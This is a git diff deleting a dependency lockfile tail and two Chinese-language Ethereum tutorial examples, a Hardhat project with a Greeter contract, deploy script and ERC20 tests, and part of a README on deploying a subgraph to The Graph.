-  integrity sha512-i4yhcllSP4wrpoPMU2N0TQ/q0O94LRG/eUQjEAamRltjQ1oT1PFFKOG4i877OlJgCG8rw6LrrowJp+TYCEWF7Q==
-  dependencies:
-    bufferutil "^4.0.1"
-    debug "^2.2.0"
-    es5-ext "^0.10.50"
-    typedarray-to-buffer "^3.1.5"
-    utf-8-validate "^5.0.2"
-    yaeti "^0.0.6"
-
-websocket@^1.0.31, websocket@^1.0.32:
-  version "1.0.34"
-  resolved "https://registry.yarnpkg.com/websocket/-/websocket-1.0.34.tgz#2bdc2602c08bf2c82253b730655c0ef7dcab3111"
-  integrity sha512-PRDso2sGwF6kM75QykIesBijKSVceR6jL2G8NGYyq2XrItNC2P5/qL5XeR056GhA+Ly7JMFvJb9I312mJfmqnQ==
-  dependencies:
-    bufferutil "^4.0.1"
-    debug "^2.2.0"
-    es5-ext "^0.10.50"
-    typedarray-to-buffer "^3.1.5"
-    utf-8-validate "^5.0.2"
-    yaeti "^0.0.6"
-
-whatwg-fetch@2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz#dde6a5df315f9d39991aa17621853d720b85566f"
-  integrity sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==
-
-which-boxed-primitive@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz#13757bc89b209b049fe5d86430e21cf40a89a8e6"
-  integrity sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==
-  dependencies:
-    is-bigint "^1.0.1"
-    is-boolean-object "^1.1.0"
-    is-number-object "^1.0.4"
-    is-string "^1.0.5"
-    is-symbol "^1.0.3"
-
-which-module@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/which-module/-/which-module-1.0.0.tgz#bba63ca861948994ff307736089e3b96026c2a4f"
-  integrity sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=
-
-which-typed-array@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.4.tgz#8fcb7d3ee5adf2d771066fba7cf37e32fe8711ff"
-  integrity sha512-49E0SpUe90cjpoc7BOJwyPHRqSAd12c10Qm2amdEZrJPCY2NDxaW01zHITrem+rnETY3dwrbH3UUrUwagfCYDA==
-  dependencies:
-    available-typed-arrays "^1.0.2"
-    call-bind "^1.0.0"
-    es-abstract "^1.18.0-next.1"
-    foreach "^2.0.5"
-    function-bind "^1.1.1"
-    has-symbols "^1.0.1"
-    is-typed-array "^1.1.3"
-
-which@2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
-  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
-  dependencies:
-    isexe "^2.0.0"
-
-which@^1.2.9:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
-  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
-  dependencies:
-    isexe "^2.0.0"
-
-wide-align@1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.3.tgz#ae074e6bdc0c14a431e804e624549c633b000457"
-  integrity sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==
-  dependencies:
-    string-width "^1.0.2 || 2"
-
-window-size@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/window-size/-/window-size-0.2.0.tgz#b4315bb4214a3d7058ebeee892e13fa24d98b075"
-  integrity sha1-tDFbtCFKPXBY6+7okuE/ok2YsHU=
-
-workerpool@6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/workerpool/-/workerpool-6.1.0.tgz#a8e038b4c94569596852de7a8ea4228eefdeb37b"
-  integrity sha512-toV7q9rWNYha963Pl/qyeZ6wG+3nnsyvolaNUS8+R5Wtw6qJPTxIlOP1ZSvcGhEJw+l3HMMmtiNo9Gl61G4GVg==
-
-wrap-ansi@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-2.1.0.tgz#d8fc3d284dd05794fe84973caecdd1cf824fdd85"
-  integrity sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=
-  dependencies:
-    string-width "^1.0.1"
-    strip-ansi "^3.0.1"
-
-wrap-ansi@^7.0.0:
-  version "7.0.0"
-  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
-  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
-  dependencies:
-    ansi-styles "^4.0.0"
-    string-width "^4.1.0"
-    strip-ansi "^6.0.0"
-
-wrappy@1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
-
-ws@7.2.3:
-  version "7.2.3"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.2.3.tgz#a5411e1fb04d5ed0efee76d26d5c46d830c39b46"
-  integrity sha512-HTDl9G9hbkNDk98naoR/cHDws7+EyYMOdL1BmjsZXRUjf7d+MficC4B7HLUPlSiho0vg+CWKrGIt/VJBd1xunQ==
-
-ws@^3.0.0:
-  version "3.3.3"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-3.3.3.tgz#f1cf84fe2d5e901ebce94efaece785f187a228f2"
-  integrity sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==
-  dependencies:
-    async-limiter "~1.0.0"
-    safe-buffer "~5.1.0"
-    ultron "~1.1.0"
-
-ws@^5.1.1:
-  version "5.2.2"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-5.2.2.tgz#dffef14866b8e8dc9133582514d1befaf96e980f"
-  integrity sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==
-  dependencies:
-    async-limiter "~1.0.0"
-
-xhr-request-promise@^0.1.2:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/xhr-request-promise/-/xhr-request-promise-0.1.3.tgz#2d5f4b16d8c6c893be97f1a62b0ed4cf3ca5f96c"
-  integrity sha512-YUBytBsuwgitWtdRzXDDkWAXzhdGB8bYm0sSzMPZT7Z2MBjMSTHFsyCT1yCRATY+XC69DUrQraRAEgcoCRaIPg==
-  dependencies:
-    xhr-request "^1.1.0"
-
-xhr-request@^1.0.1, xhr-request@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/xhr-request/-/xhr-request-1.1.0.tgz#f4a7c1868b9f198723444d82dcae317643f2e2ed"
-  integrity sha512-Y7qzEaR3FDtL3fP30k9wO/e+FBnBByZeybKOhASsGP30NIkRAAkKD/sCnLvgEfAIEC1rcmK7YG8f4oEnIrrWzA==
-  dependencies:
-    buffer-to-arraybuffer "^0.0.5"
-    object-assign "^4.1.1"
-    query-string "^5.0.1"
-    simple-get "^2.7.0"
-    timed-out "^4.0.1"
-    url-set-query "^1.0.0"
-    xhr "^2.0.4"
-
-xhr2-cookies@1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/xhr2-cookies/-/xhr2-cookies-1.1.0.tgz#7d77449d0999197f155cb73b23df72505ed89d48"
-  integrity sha1-fXdEnQmZGX8VXLc7I99yUF7YnUg=
-  dependencies:
-    cookiejar "^2.1.1"
-
-xhr@^2.0.4, xhr@^2.2.0, xhr@^2.3.3:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/xhr/-/xhr-2.6.0.tgz#b69d4395e792b4173d6b7df077f0fc5e4e2b249d"
-  integrity sha512-/eCGLb5rxjx5e3mF1A7s+pLlR6CGyqWN91fv1JgER5mVWg1MZmlhBvy9kjcsOdRk8RrIujotWyJamfyrp+WIcA==
-  dependencies:
-    global "~4.4.0"
-    is-function "^1.0.1"
-    parse-headers "^2.0.0"
-    xtend "^4.0.0"
-
-xtend@^4.0.0, xtend@^4.0.1, xtend@~4.0.0, xtend@~4.0.1:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
-  integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
-
-xtend@~2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/xtend/-/xtend-2.1.2.tgz#6efecc2a4dad8e6962c4901b337ce7ba87b5d28b"
-  integrity sha1-bv7MKk2tjmlixJAbM3znuoe10os=
-  dependencies:
-    object-keys "~0.4.0"
-
-y18n@^3.2.1:
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/y18n/-/y18n-3.2.2.tgz#85c901bd6470ce71fc4bb723ad209b70f7f28696"
-  integrity sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==
-
-y18n@^5.0.5:
-  version "5.0.8"
-  resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
-  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
-
-yaeti@^0.0.6:
-  version "0.0.6"
-  resolved "https://registry.yarnpkg.com/yaeti/-/yaeti-0.0.6.tgz#f26f484d72684cf42bedfb76970aa1608fbf9577"
-  integrity sha1-8m9ITXJoTPQr7ft2lwqhYI+/lXc=
-
-yallist@^3.0.0, yallist@^3.0.2, yallist@^3.0.3:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
-  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
-
-yargs-parser@20.2.4:
-  version "20.2.4"
-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.4.tgz#b42890f14566796f85ae8e3a25290d205f154a54"
-  integrity sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==
-
-yargs-parser@^2.4.1:
-  version "2.4.1"
-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-2.4.1.tgz#85568de3cf150ff49fa51825f03a8c880ddcc5c4"
-  integrity sha1-hVaN488VD/SfpRgl8DqMiA3cxcQ=
-  dependencies:
-    camelcase "^3.0.0"
-    lodash.assign "^4.0.6"
-
-yargs-parser@^20.2.2:
-  version "20.2.7"
-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.7.tgz#61df85c113edfb5a7a4e36eb8aa60ef423cbc90a"
-  integrity sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==
-
-yargs-unparser@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/yargs-unparser/-/yargs-unparser-2.0.0.tgz#f131f9226911ae5d9ad38c432fe809366c2325eb"
-  integrity sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==
-  dependencies:
-    camelcase "^6.0.0"
-    decamelize "^4.0.0"
-    flat "^5.0.2"
-    is-plain-obj "^2.1.0"
-
-yargs@16.2.0:
-  version "16.2.0"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-16.2.0.tgz#1c82bf0f6b6a66eafce7ef30e376f49a12477f66"
-  integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==
-  dependencies:
-    cliui "^7.0.2"
-    escalade "^3.1.1"
-    get-caller-file "^2.0.5"
-    require-directory "^2.1.1"
-    string-width "^4.2.0"
-    y18n "^5.0.5"
-    yargs-parser "^20.2.2"
-
-yargs@^4.7.1:
-  version "4.8.1"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-4.8.1.tgz#c0c42924ca4aaa6b0e6da1739dfb216439f9ddc0"
-  integrity sha1-wMQpJMpKqmsObaFznfshZDn53cA=
-  dependencies:
-    cliui "^3.2.0"
-    decamelize "^1.1.1"
-    get-caller-file "^1.0.1"
-    lodash.assign "^4.0.3"
-    os-locale "^1.4.0"
-    read-pkg-up "^1.0.1"
-    require-directory "^2.1.1"
-    require-main-filename "^1.0.1"
-    set-blocking "^2.0.0"
-    string-width "^1.0.1"
-    which-module "^1.0.0"
-    window-size "^0.2.0"
-    y18n "^3.2.1"
-    yargs-parser "^2.4.1"
-
-yocto-queue@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
-  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
diff --git a/Example07-hardhat/README.md b/Example07-hardhat/README.md
deleted file mode 100644
index 53c9fe06e..000000000
--- a/Example07-hardhat/README.md
+++ /dev/null
@@ -1,46 +0,0 @@
-## Hardhat 介绍  
-Hardhat是一个编译、部署、测试和调试以太坊应用的开发环境。它可以帮助开发人员管理和自动化构建智能合约和dApps过程中固有的重复性任务，并围绕这一工作流程轻松引入更多功能。这意味着hardhat在最核心的地方是编译、运行和测试智能合约。
-Hardhat内置了Hardhat网络，这是一个专为开发设计的本地以太坊网络。主要功能有Solidity调试，跟踪调用堆栈、console.log()和交易失败时的明确错误信息提示等。  
-Hardhat Runner是与Hardhat交互的CLI命令，是一个可扩展的任务运行器。它是围绕任务和插件的概念设计的。每次你从CLI运行Hardhat时，你都在运行一个任务。例如，npx hardhat compile运行的是内置的compile任务。任务可以调用其他任务，允许定义复杂的工作流程。用户和插件可以覆盖现有的任务，从而定制和扩展工作流程。
-
-Hardhat的很多功能都来自于插件，而作为开发者，你可以自由选择想使用的插件。     
- 
-- npx介绍 
-https://www.ruanyifeng.com/blog/2019/02/npx.html  
-npx 想要解决的主要问题，就是调用项目内部安装的模块。  
-
-## 操作步骤
-- 1 创建项目：
-```
-npx hardhat  
-```
-
-- 2 编译合约
-```
- npx hardhat compile
-```
-
-- 3 跑测试：(内置节点为Hardhat Network)
-```
- npx hardhat test 
-```
-
-- 4 console.log调试合约:
-合约引入：
-```
-import "hardhat/console.sol";
-```
-
-- 5 部署到测试网：
-
-hardhat.config.js 文件中添加一个network条目
-
-```
-npx hardhat run scripts/deploy.js --network <network-name>
-```
-
-## 参考文档  
-hardhat官方文档: https://hardhat.org/guides/project-setup.html   
-hardhat中文文档: https://learnblockchain.cn/docs/hardhat/getting-started/ 
-https://rahulsethuram.medium.com/the-new-solidity-dev-stack-buidler-ethers-waffle-typescript-tutorial-f07917de48ae  
-
diff --git a/Example07-hardhat/contracts/Greeter.sol b/Example07-hardhat/contracts/Greeter.sol
deleted file mode 100644
index 51c10e6b1..000000000
--- a/Example07-hardhat/contracts/Greeter.sol
+++ /dev/null
@@ -1,23 +0,0 @@
-//SPDX-License-Identifier: Unlicense
-pragma solidity ^0.8.0;
-
-import "hardhat/console.sol";
-
-
-contract Greeter {
-  string greeting;
-
-  constructor(string memory _greeting) public {
-    console.log("Deploying a Greeter with greeting:", _greeting);
-    greeting = _greeting;
-  }
-
-  function greet() public view returns (string memory) {
-    return greeting;
-  }
-
-  function setGreeting(string memory _greeting) public {
-    console.log("Changing greeting from '%s' to '%s'", greeting, _greeting);
-    greeting = _greeting;
-  }
-}
\ No newline at end of file
diff --git a/Example07-hardhat/hardhat.config.js b/Example07-hardhat/hardhat.config.js
deleted file mode 100644
index 215555d35..000000000
--- a/Example07-hardhat/hardhat.config.js
+++ /dev/null
@@ -1,59 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-function mnemonic() {
-
- return fs.readFileSync("./sk.txt").toString().trim();
-
-}
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: "0.8.0",
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-      mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
\ No newline at end of file
diff --git a/Example07-hardhat/package.json b/Example07-hardhat/package.json
deleted file mode 100644
index 9dfd468cb..000000000
--- a/Example07-hardhat/package.json
+++ /dev/null
@@ -1,12 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.1.4",
-    "hardhat": "^2.2.1",
-    "sol-merger": "^3.1.0"
-  }
-}
diff --git a/Example07-hardhat/scripts/deploy.js b/Example07-hardhat/scripts/deploy.js
deleted file mode 100644
index 591c2dc46..000000000
--- a/Example07-hardhat/scripts/deploy.js
+++ /dev/null
@@ -1,32 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-
-async function main() {
-
-    const [deployer] = await ethers.getSigners();
-
-    console.log(
-        "Deploying contracts with the account:",
-        deployer.address
-    );
-
-    console.log("Account balance:", (await deployer.getBalance()).toString());
-
-    const Token = await ethers.getContractFactory("SimpleToken");
-    const token = await Token.deploy("HEHE", "HH", 1, 100000000);
-
-    console.log("Token address:", token.address);
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example07-hardhat/test/erc20-all-test.js b/Example07-hardhat/test/erc20-all-test.js
deleted file mode 100644
index 0a2afd5f2..000000000
--- a/Example07-hardhat/test/erc20-all-test.js
+++ /dev/null
@@ -1,100 +0,0 @@
-const { expect } = require("chai");
-
-// `describe` is a Mocha function that allows you to organize your tests. It's
-// not actually needed, but having your tests organized makes debugging them
-// easier. All Mocha functions are available in the global scope.
-
-// `describe` receives the name of a section of your test suite, and a callback.
-// The callback must define the tests of that section. This callback can't be
-// an async function.
-describe("Token contract", function () {
-  // Mocha has four functions that let you hook into the the test runner's
-  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
-
-  // They're very useful to setup the environment for tests, and to clean it
-  // up after they run.
-
-  // A common pattern is to declare some variables, and assign them in the
-  // `before` and `beforeEach` callbacks.
-
-  let Token;
-  let hardhatToken;
-  let owner;
-  let addr1;
-  let addr2;
-  let addrs;
-
-  // `beforeEach` will run before each test, re-deploying the contract every
-  // time. It receives a callback, which can be async.
-  beforeEach(async function () {
-    // Get the ContractFactory and Signers here.
-    Token = await ethers.getContractFactory("SimpleToken");
-    [owner, addr1, addr2, ...addrs] = await ethers.getSigners();
-
-    // To deploy our contract, we just have to call Token.deploy() and await
-    // for it to be deployed(), which happens onces its transaction has been
-    // mined.
-    hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
-  });
-
-  // You can nest describe calls to create subsections.
-  describe("Deployment", function () {
-    // `it` is another Mocha function. This is the one you use to define your
-    // tests. It receives the test name, and a callback function.
-
-    it("Should assign the total supply of tokens to the owner", async function () {
-      const ownerBalance = await hardhatToken.balanceOf(owner.address);
-      expect(await hardhatToken.totalSupply()).to.equal(ownerBalance);
-    });
-  });
-
-  describe("Transactions", function () {
-    it("Should transfer tokens between accounts", async function () {
-      // Transfer 50 tokens from owner to addr1
-      await hardhatToken.transfer(addr1.address, 50);
-      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
-      expect(addr1Balance).to.equal(50);
-
-      // Transfer 50 tokens from addr1 to addr2
-      // We use .connect(signer) to send a transaction from another account
-      await hardhatToken.connect(addr1).transfer(addr2.address, 50);
-      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
-      expect(addr2Balance).to.equal(50);
-    });
-
-    it("Should fail if sender doesn’t have enough tokens", async function () {
-      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
-
-      // Try to send 1 token from addr1 (0 tokens) to owner (1000 tokens).
-      // `require` will evaluate false and revert the transaction.
-      await expect(
-          hardhatToken.connect(addr1).transfer(owner.address, 1)
-      ).to.be.revertedWith("ERC20: transfer amount exceeds balance");
-
-      // Owner balance shouldn't have changed.
-      expect(await hardhatToken.balanceOf(owner.address)).to.equal(
-          initialOwnerBalance
-      );
-    });
-
-    it("Should update balances after transfers", async function () {
-      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
-
-      // Transfer 100 tokens from owner to addr1.
-      await hardhatToken.transfer(addr1.address, 100);
-
-      // Transfer another 50 tokens from owner to addr2.
-      await hardhatToken.transfer(addr2.address, 50);
-
-      // Check balances.
-      const finalOwnerBalance = await hardhatToken.balanceOf(owner.address);
-      expect(finalOwnerBalance).to.equal(initialOwnerBalance - 150);
-
-      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
-      expect(addr1Balance).to.equal(100);
-
-      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
-      expect(addr2Balance).to.equal(50);
-    });
-  });
-});
\ No newline at end of file
diff --git a/Example07-hardhat/test/greeter-test.js b/Example07-hardhat/test/greeter-test.js
deleted file mode 100644
index 83bee5a56..000000000
--- a/Example07-hardhat/test/greeter-test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-const { expect } = require("chai");
-
-describe("Greeter", function() {
-  it("Should return the new greeting once it's changed", async function() {
-    const Greeter = await ethers.getContractFactory("Greeter");
-    const greeter = await Greeter.deploy("Hello, world!");
-    
-    await greeter.deployed();
-    expect(await greeter.greet()).to.equal("Hello, world!");
-
-    await greeter.setGreeting("Hola, mundo!");
-    expect(await greeter.greet()).to.equal("Hola, mundo!");
-  });
-});
diff --git a/Example08-hardhat-graph/README.md b/Example08-hardhat-graph/README.md
deleted file mode 100644
index 66bcfaddb..000000000
--- a/Example08-hardhat-graph/README.md
+++ /dev/null
@@ -1,162 +0,0 @@
-## Graph 介绍
-编写智能合约时，通常状态的变化是通过触发一个事件来表达，The Graph 则是捕捉区块链事件并提供一个查询事件的 GraphQL 接口，让我们可以方便的跟踪数据的变化。实际上很多defi协议及都是 The Graph 来基于查询数据。  
-
-## 流程概述   
-  - 在 Ropsten 部署一个合约，并调用触发事件。
-  - 创建定义数据索引的 Subgraph。
-  - 部署 Subgraph 到 TheGraph，实现数据索引。
-  - 在前端 DApp 中查询索引数据。
-  
-如果你有自己的私有链，这可以克隆 Graph 节点代码 https://github.com/graphprotocol/graph-node/  自己运行Graph节点来完成数据的索引。  
-
-TheGraph 中定义如何为数据建立索引，称为 Subgraph，它包含三个组件：  
-- Manifest 清单(subgraph.yaml) - 定义配置项  
-- Schema 模式(schema.graphql) - 定义数据 , 参考文档 https://graphql.cn/learn/
-- Mapping 映射(mapping.ts) - 定义事件到数据的转换 
-   
-## 操作步骤   
-1)  安装相关依赖
-```
-  npm install
-```
-
-2) 配置私钥  
-在 sk.txt 中，配置账户私钥    
-
-3) 部署合约  
-```
-  npx hardhat run ./scripts/deploy.js --network kovan
-```
-
-输出信息类似如下:  
-```
-Deploying contracts with the account: xxxxxxxxxxxxxx
-Account balance: 10000000000000000000000
-Token address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
-Transfer 50 to receiver  0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
-Account balance of receiver is:  50
-```
-
-4) TheGraph 创建一个 Subgraph 空间  
-因为需要借助 TheGraph 的节点来完成数据的索引，因此我们需要在 [TheGraph网站](https://thegraph.com/) 上创建一个 Subgraph。
-
-如果没有The Graph 的账户，可以用 GitHub 注册。
-创建账户之后，点击右上角账户的图标，会出现 "Dashboard" 和 "Sign out" 两个选项，选择 "Dashboard" 进入仪表盘，然后点击右侧的“Add Subgraph" 就可以开始通过界面创建 subgraph.
-进入 "Create a subgraph" 界面，输入 "Subgraph NAME", 这里假设输入的 "subgraph name" 为 "graphtest", 后续说明均以这个 subgraph name 为例进行说明. 同时，输入 "SUBTITLE" 为 ”graphtest“, 然后点击 "Create subgraph"
-
-
-5) 开发和部署 subgraph  
-先使用 NPM 在全局安装 Graph CLI  
-```
- npm install -g @graphprotocol/graph-cli
-```
-
-
-6) 初始化配置: 
-```
-  graph init <GITHUB_USERNAME>/<SUBGRAPH_NAME>
-```
-
- - GITHUB_USERNAME:  thegraph 的账户，可以登录 [TheGraph 网站](https://thegraph.com/) ，然后进入 Dashboard 查看
- - SUBGRAPH_NAME： 上面在 Thegraph 创建的 subgraph 空间名字 ( 这里以 graphtest 为例 )
-
-最终命令样式如下:  
-```
-  graph init longdacao/graphtest
-```
-
-7) 输入信息如下:
-```
-✔ Subgraph name · longdacao/graphtest
-✔ Directory to create the subgraph in · Gameplayer
-✔ Ethereum network · kovan
-✔ Contract address · 0x5FbDB2315678afecb367f032d93F642f64180aa3
-✖ Failed to fetch ABI from Etherscan: request to https://api-kovan.etherscan.io/api?module=contract&action=getabi&address=0x5FbDB2315678afecb367f032d93F642f64180aa3 failed, reason: connect ETIMEDOUT 103.240.180.117:443
-✔ ABI file (path) · /Users/app/temp/DappLearn/Example08-hardhat-graph/abis/SimpleToken.json
-✔ Contract Name · SimpleToken
-
- 输出说明
-1. 在 "Subgraph name" 和 "Directory to create the subgraph"  这里，直接回车即可
-2. Ethereum network 这里选择 kovan
-3. "Contract address" 这里输入在步骤 3 中部署合约时生成的合约地址
-4. 上面执行到 "fetch ABI from Etherscan" 时会报执行失败，然后出现 "ABI file (path)" 字样，提示输入本机中 abi 的文件路径，这里我们输入 SimpleToken.json 所在的路径即可
-5. 如果yarn install 失败，可以进入新生成的项目目录，手动安装npm依赖，然后依次执行
-   yarn codegen
-   yarn build
-   会自动生成 ./generated/ 目录和文件
-```
-
-8) 定义模式  
-这里，已经根据 SimpleToken 合约，调整了 schema.graphql, mapping.ts 所以我们使用调整后的这两个个文件。
-
-- 复制文件
-```
-  >> 复制 schema.graphql 文件
-  cp ./scripts/schema.graphql graphtest/   
-
-  >> 复制 mapping.ts 文件
-  cp ./scripts/mapping.ts graphtest/src
-```
-
-9) 修改实体名字
-
-- 进入 graphtest 目录
-- 修改 subgraph.yaml 中 entities 定义如下
-```
-entities:
-        - TransferEntity
-        - ApprovalEntity
-```
-
-10) 部署 Subgraph
-在控制台先用 graph auth 进行授权(注意`deploy/`与`<ACCESS_TOKEN>`之间有空格):  
-```
-  graph auth https://api.thegraph.com/deploy/ <ACCESS_TOKEN>
-```
-<ACCESS_TOKEN> 请使用你在创建 Subgraph 空间提示的 Access token。
-然后使用 graph deploy 进行部署：
-
-```
-  graph deploy \
-    --debug \
-    --node https://api.thegraph.com/deploy/ \
-    --ipfs https://api.thegraph.com/ipfs/ \
